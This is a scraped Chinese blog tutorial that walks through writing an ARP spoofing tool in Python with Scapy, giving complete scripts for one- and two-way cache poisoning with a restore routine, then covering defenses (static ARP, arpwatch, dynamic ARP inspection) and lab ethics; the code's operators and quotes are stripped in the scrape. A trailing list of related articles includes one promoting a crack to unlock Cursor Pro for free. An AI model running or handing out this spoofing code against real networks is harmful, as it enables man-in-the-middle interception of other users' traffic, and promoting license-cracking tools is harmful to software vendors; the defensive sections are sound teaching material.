当前位置: 首页 > article >正文

别再只会用Ettercap了!手把手教你用Python+Scapy从零写一个ARP欺骗脚本(附完整代码)

从零构建ARP欺骗工具用PythonScapy深入理解网络协议安全在网络安全领域ARP欺骗一直是最基础却又最危险的攻击手段之一。大多数初学者会直接使用现成的工具如Ettercap进行实验但这往往停留在知其然的层面。本文将带你从协议层开始用Python和Scapy库从头构建一个ARP欺骗工具让你真正理解攻击背后的每一个字节是如何工作的。1. ARP协议深度解析不只是地址解析ARPAddress Resolution Protocol协议工作在OSI模型的第二层数据链路层和第三层网络层之间负责将IP地址解析为MAC地址。理解ARP协议的细节是构建欺骗工具的基础。1.1 ARP报文结构详解一个标准的ARP报文包含以下字段以28字节的以太网ARP为例字段名字节数说明典型值硬件类型2网络类型1以太网协议类型2上层协议0x0800IPv4硬件地址长度1MAC地址长度6协议地址长度1IP地址长度4操作码2请求/响应1请求或2响应发送方MAC6源MAC地址-发送方IP4源IP地址-目标MAC6目标MAC地址-目标IP4目标IP地址-在Scapy中我们可以用以下方式查看ARP包的结构from scapy.all import ARP arp_packet ARP() arp_packet.show()1.2 ARP缓存中毒原理ARP欺骗的核心在于利用协议的两个特性无状态性ARP协议没有连接状态的概念任何主机都可以随时发送ARP响应无认证机制ARP响应不需要任何形式的认证系统会无条件接受最新收到的响应攻击者通过发送伪造的ARP响应包让目标主机更新其ARP缓存表中错误的IP-MAC映射关系。典型的攻击模式有两种单向欺骗只欺骗目标主机使其认为攻击者的MAC是网关的MAC双向欺骗同时欺骗目标主机和网关实现完全的中间人攻击2. 环境准备与Scapy基础2.1 实验环境配置推荐使用以下环境进行实验攻击机Kali Linux预装Python和Scapy目标机任意Linux/Windows系统网络拓扑确保所有机器在同一局域网段安装Scapy如果尚未安装pip install scapy2.2 Scapy核心功能速览Scapy是一个强大的交互式数据包操作工具我们将用到它的几个关键功能数据包构造分层构建网络协议数据包数据包发送send(), sendp(), sr(), sr1()等不同发送方法数据包嗅探sniff()函数捕获网络流量测试Scapy是否正常工作from scapy.all import * send(IP(dst8.8.8.8)/ICMP())如果看到发送了一个ICMP包说明环境配置正确。3. 构建ARP欺骗工具3.1 基础ARP欺骗脚本下面是一个最基本的ARP欺骗脚本它会向目标主机发送伪造的ARP响应from scapy.all import ARP, send def arp_spoof(target_ip, spoof_ip): 发送ARP欺骗包 :param target_ip: 目标主机IP :param spoof_ip: 要伪装成的IP通常是网关 target_mac getmacbyip(target_ip) # 获取目标MAC packet ARP(op2, pdsttarget_ip, hwdsttarget_mac, psrcspoof_ip) send(packet, verboseFalse) if __name__ __main__: target 192.168.1.100 # 目标主机IP gateway 192.168.1.1 # 网关IP while True: arp_spoof(target, gateway) arp_spoof(gateway, target) # 双向欺骗 time.sleep(2) # 每2秒发送一次3.2 脚本功能增强基础脚本有几个明显的问题需要改进持续性问题需要不断发送ARP包才能维持欺骗隐蔽性问题流量模式容易被检测错误处理没有考虑目标离线等情况改进后的版本import time from scapy.all import ARP, send, getmacbyip, conf class AdvancedARPSpoofer: def __init__(self, target, gateway, interval2): self.target target self.gateway gateway self.interval interval self.target_mac self._get_mac(target) self.gateway_mac self._get_mac(gateway) conf.verb 0 # 关闭Scapy的冗余输出 def _get_mac(self, ip): 安全获取MAC地址带有重试机制 for _ in range(3): mac getmacbyip(ip) if mac: return mac time.sleep(1) raise ValueError(f无法获取 {ip} 的MAC地址) def spoof(self): 执行ARP欺骗 target_packet ARP(op2, pdstself.target, hwdstself.target_mac, psrcself.gateway) gateway_packet ARP(op2, pdstself.gateway, hwdstself.gateway_mac, psrcself.target) try: while True: send(target_packet) send(gateway_packet) time.sleep(self.interval) except KeyboardInterrupt: self.restore() def restore(self): 恢复正确的ARP表 print(\n恢复ARP表...) send(ARP(op2, pdstself.target, hwdstself.target_mac, psrcself.gateway, hwsrcself.gateway_mac), count5) send(ARP(op2, pdstself.gateway, hwdstself.gateway_mac, psrcself.target, hwsrcself.target_mac), count5) if __name__ __main__: spoofer AdvancedARPSpoofer(target192.168.1.100, gateway192.168.1.1) try: spoofer.spoof() except Exception as e: print(f错误: {e}) spoofer.restore()4. 防御与检测技术理解了攻击原理后我们自然需要考虑如何防御ARP欺骗。以下是几种常见的防御方法4.1 静态ARP绑定在重要主机上设置静态ARP条目可以防止被欺骗# Linux arp -s 192.168.1.1 00:11:22:33:44:55 # Windows netsh interface ipv4 add neighbors 以太网 192.168.1.1 00-11-22-33-44-554.2 ARP监控工具使用工具如Arpwatch或XArp可以监控ARP表的变化# 安装Arpwatch sudo apt install arpwatch # 启动监控 sudo arpwatch -i eth04.3 网络层防御在企业网络中可以采用以下更高级的防御措施端口安全交换机端口绑定特定MAC地址动态ARP检测(DAI)交换机验证ARP包的合法性802.1X认证网络接入控制5. 实验注意事项与伦理考量在进行ARP欺骗实验时有几个重要的注意事项法律合规仅在你自己拥有或获得明确许可的网络中进行测试实验隔离使用虚拟化环境如VMware或VirtualBox创建隔离的实验网络影响范围避免影响网络中的其他正常用户恢复机制确保脚本包含恢复ARP表的代码如我们的示例中的restore方法一个负责任的网络安全研究者应该遵循以下原则知情同意任何测试都应获得相关方的明确许可最小影响将测试的影响范围控制在最小必要程度数据保护不查看、不存储测试过程中接触到的他人数据目的正当测试目的应为提高安全性而非其他不当目的在实际工作中我遇到过不少因为ARP欺骗导致的网络问题。有一次一个客户的网络频繁断线经过排查发现是内网有人运行了ARP欺骗工具测试学习。这提醒我们即使是出于学习目的的实验也必须在适当的环境中进行。

相关文章:

别再只会用Ettercap了!手把手教你用Python+Scapy从零写一个ARP欺骗脚本(附完整代码)

从零构建ARP欺骗工具:用PythonScapy深入理解网络协议安全 在网络安全领域,ARP欺骗一直是最基础却又最危险的攻击手段之一。大多数初学者会直接使用现成的工具如Ettercap进行实验,但这往往停留在"知其然"的层面。本文将带你从协议层…...

OpCore Simplify:突破性黑苹果OpenCore配置自动化工具终极指南

OpCore Simplify:突破性黑苹果OpenCore配置自动化工具终极指南 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify OpCore Simplify是一款革命…...

如何快速激活Cursor Pro:免费VIP完整教程与破解工具详解

如何快速激活Cursor Pro:免费VIP完整教程与破解工具详解 【免费下载链接】cursor-free-vip [Support 0.45](Multi Language 多语言)自动注册 Cursor Ai ,自动重置机器ID , 免费升级使用Pro 功能: Youve reached your t…...

突破显卡限制:OptiScaler开源工具重新定义跨硬件上采样技术

突破显卡限制:OptiScaler开源工具重新定义跨硬件上采样技术 【免费下载链接】OptiScaler DLSS replacement for AMD/Intel/Nvidia cards with multiple upscalers (XeSS/FSR2/DLSS) 项目地址: https://gitcode.com/GitHub_Trending/op/OptiScaler 在PC游戏领…...

从‘分式规划’到‘加减法’:二次变换如何成为通信优化工程师的‘瑞士军刀’

从‘分式规划’到‘加减法’:二次变换如何成为通信优化工程师的‘瑞士军刀’ 通信系统优化中,工程师常遇到一类令人头疼的问题:目标函数是分式形式,且分子分母都包含待优化变量。这类问题在能效优化、频谱效率提升等场景中尤为常见…...

别再傻傻分不清了!AUTOSAR里那三种接口到底怎么用?

AUTOSAR接口全解析:从快递员到内部电话的通信哲学 刚接触AUTOSAR的工程师们,面对琳琅满目的接口类型时,是否常有种"明明每个字都认识,连起来却看不懂"的困惑?就像第一次走进高级餐厅,面对三种看…...

Wan2.2-I2V-A14B镜像部署教程:无需conda/pip,纯脚本一键启动

Wan2.2-I2V-A14B镜像部署教程:无需conda/pip,纯脚本一键启动 1. 镜像概述与核心优势 Wan2.2-I2V-A14B是一款专为文生视频任务优化的私有部署镜像,特别针对RTX 4090D 24GB显存显卡进行了深度优化。这个镜像的最大特点是开箱即用,…...

威联通NAS结合阿里云实现安全远程访问:域名与SSL证书全流程配置

1. 为什么需要为威联通NAS配置域名和SSL证书? 很多朋友买了威联通NAS后都会遇到一个头疼的问题:怎么在外面也能安全地访问家里的NAS?直接暴露IP地址不仅难记,还存在安全隐患。我刚开始用NAS时也踩过不少坑,后来发现用阿…...

掌握串口数据可视化:用Serial Port Plotter实时监控硬件数据

掌握串口数据可视化:用Serial Port Plotter实时监控硬件数据 【免费下载链接】serial_port_plotter Displays real time data from serial port 项目地址: https://gitcode.com/gh_mirrors/se/serial_port_plotter 在嵌入式开发和硬件调试的世界里&#xff0…...

用快马平台十分钟复刻notepad++:打造你的轻量级web代码编辑器原型

今天尝试用InsCode(快马)平台快速复刻一个Notepad风格的Web代码编辑器原型,整个过程比想象中顺利很多。作为一个经常需要临时测试代码片段的开发者,这种轻量级工具特别适合快速验证想法。 确定核心功能框架 首先梳理了Notepad最常用的几个功能&#xff1…...

3大突破解决3D建模痛点:QRemeshify四边形网格重构技术全解析

3大突破解决3D建模痛点:QRemeshify四边形网格重构技术全解析 【免费下载链接】QRemeshify A Blender extension for an easy-to-use remesher that outputs good-quality quad topology 项目地址: https://gitcode.com/gh_mirrors/qr/QRemeshify 在3D建模流程…...

QQ空间历史说说备份终极攻略:3步实现数据永久保存

QQ空间历史说说备份终极攻略:3步实现数据永久保存 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory GetQzonehistory是一款专为QQ空间用户设计的开源数据备份工具,…...

JBoltAI视频SOP平台:山东工业“智”变新助力

在国家“十五五”发展规划强调“人工智能”工业融合的背景下,山东省及威海市的工业制造业企业正迎来智能化转型的关键期。山东向量空间人工智能科技有限公司推出的JBoltAI工业数智化SOP管理平台,凭借其独特优势,正成为推动这一转型的重要力量…...

老旧设备重生计划:Windows 11绕过系统限制的安全安装指南

老旧设备重生计划:Windows 11绕过系统限制的安全安装指南 【免费下载链接】rufus The Reliable USB Formatting Utility 项目地址: https://gitcode.com/GitHub_Trending/ru/rufus 想让你的老旧电脑也能流畅运行Windows 11吗?本文将为你提供一套完…...

Stable Diffusion v1.5保姆级教程:输入英文描述,轻松生成专属AI画作

Stable Diffusion v1.5保姆级教程:输入英文描述,轻松生成专属AI画作 想体验AI绘画的魅力,却担心操作复杂、门槛太高?别担心,今天这篇教程就是为你准备的。我们将手把手教你使用 Stable Diffusion v1.5 这个经典的AI绘…...

Matplotlib 函数手册:3D 绘图

Matplotlib 的三维绘图并不是一套独立系统,而是在原有 Figure、Axes 与子图机制上的扩展。三维图仍沿用标题、坐标轴标签与布局调整等基本框架,只是绘图对象从二维平面延伸到了三维空间。在较新的 Matplotlib 版本中,只要使用 projection3d 创…...

正则表达式实战:精准校验日期时间格式的五大场景

1. 为什么我们需要校验日期时间格式? 在日常开发中,数据校验是最基础也最容易出问题的一环。就拿日期时间来说,你可能遇到过用户把"2023年2月30日"这种不存在的日期提交到系统,或者日志文件里的时间戳格式五花八门&…...

别再手动配环境了!用Docker Compose一键部署GeoServer,5分钟搞定TIF影像发布

5分钟极速部署GeoServer:Docker Compose全自动化实战指南 每次新项目启动都要重复配置GeoServer?还在为环境变量和端口冲突头疼?GIS开发中最耗时的从来不是业务逻辑,而是这些本该自动化的基础设施搭建。今天我们就用Docker Compo…...

用ESP32-S3给OV2640摄像头上‘网课’:手把手实现低延迟MJPEG监控系统

基于ESP32-S3与OV2640构建低延迟MJPEG监控系统的工程实践 在物联网和边缘计算领域,实时视频监控系统的需求日益增长。本文将深入探讨如何利用ESP32-S3微控制器和OV2640摄像头模组构建一个完整的低延迟MJPEG监控系统,从硬件连接到软件优化,全…...

在普通PC上运行macOS的完整教程:OneClick macOS Simple KVM深度解析

在普通PC上运行macOS的完整教程:OneClick macOS Simple KVM深度解析 【免费下载链接】OneClick-macOS-Simple-KVM Tools to set up a easy, quick macOS VM in QEMU, accelerated by KVM. Works on Linux AND Windows. 项目地址: https://gitcode.com/gh_mirrors/…...

别再手动画流程图了!用Flowable 6.8.1 + SpringBoot 3分钟搞定请假审批系统

3分钟集成Flowable 6.8.1:SpringBoot请假审批系统实战指南 当团队需要快速上线一个请假审批模块时,传统开发方式往往需要编写大量状态流转代码。去年我们团队就遇到过这种情况——产品经理突然要求三天内上线OA系统的请假功能,而当时我们连数…...

深入解析UFS Clk Gate机制及其在低功耗设计中的应用

1. UFS Clk Gate机制入门指南 第一次听说UFS Clk Gate时,我也是一头雾水。直到在某个凌晨三点调试手机耗电问题时,才真正理解它的价值。简单来说,这就像你家里空调的智能开关——没人在房间时自动关闭,有人进来又立即开启&#xf…...

如何用Serial Port Plotter实现硬件数据可视化?4大核心功能解析

如何用Serial Port Plotter实现硬件数据可视化?4大核心功能解析 【免费下载链接】serial_port_plotter Displays real time data from serial port 项目地址: https://gitcode.com/gh_mirrors/se/serial_port_plotter 在硬件开发过程中,实时数据监…...

智能+OpenCore EFI配置工具:OpCore-Simplify让黑苹果搭建效率提升300%+

智能OpenCore EFI配置工具:OpCore-Simplify让黑苹果搭建效率提升300% 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify OpCore-Simplify是一…...

nRF Connect扫描功能保姆级教程:从过滤广播数据到分析RSSI信号图,手把手教你精准定位蓝牙设备

nRF Connect扫描功能实战指南:从设备筛选到信号优化的全流程解析 当你面对展会现场上百个闪烁的蓝牙设备指示灯,或是实验室里数十个同型号的传感器节点时,如何快速锁定目标设备就像大海捞针。nRF Connect作为蓝牙开发者的瑞士军刀&#xff0c…...

Python实战:用SLSQP算法搞定6个数据点的非线性拟合(附完整代码)

Python实战:SLSQP算法在小样本非线性拟合中的卓越表现 当面对仅有六个数据点的非线性拟合难题时,传统梯度下降方法往往捉襟见肘。本文将带您深入探索SLSQP算法如何在这种具有挑战性的场景中展现出独特优势,通过完整代码示例和误差对比分析&am…...

C#多线程编程实战:Interlocked类如何帮你避免数据竞争(附性能对比)

C#多线程编程实战:Interlocked类如何帮你避免数据竞争(附性能对比) 当你在开发一个需要处理高并发的C#应用时,是否遇到过计数器结果不准确、标志位莫名其妙被重置的诡异情况?这些看似简单的多线程问题,往往…...

UniRig:革新3D模型自动化绑定的智能骨骼生成技术

UniRig:革新3D模型自动化绑定的智能骨骼生成技术 【免费下载链接】UniRig One Model to Rig Them All: Diverse Skeleton Rigging with UniRig 项目地址: https://gitcode.com/gh_mirrors/un/UniRig 在3D内容创作领域,骨骼绑定一直是制约效率的关…...

Visual C++运行库AIO解决方案:技术赋能Windows应用程序兼容性管理

Visual C运行库AIO解决方案:技术赋能Windows应用程序兼容性管理 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 在Windows生态系统中,Vis…...

除了HDFS,DolphinScheduler资源中心还能怎么玩?聊聊S3与本地存储的配置差异

DolphinScheduler资源中心存储方案深度对比:从HDFS到S3的架构选型指南 在数据调度平台的实际部署中,存储后端的选型往往决定了系统整体的扩展性和运维成本。作为Apache DolphinScheduler的核心组件,资源中心支持多种存储类型配置&#xff0c…...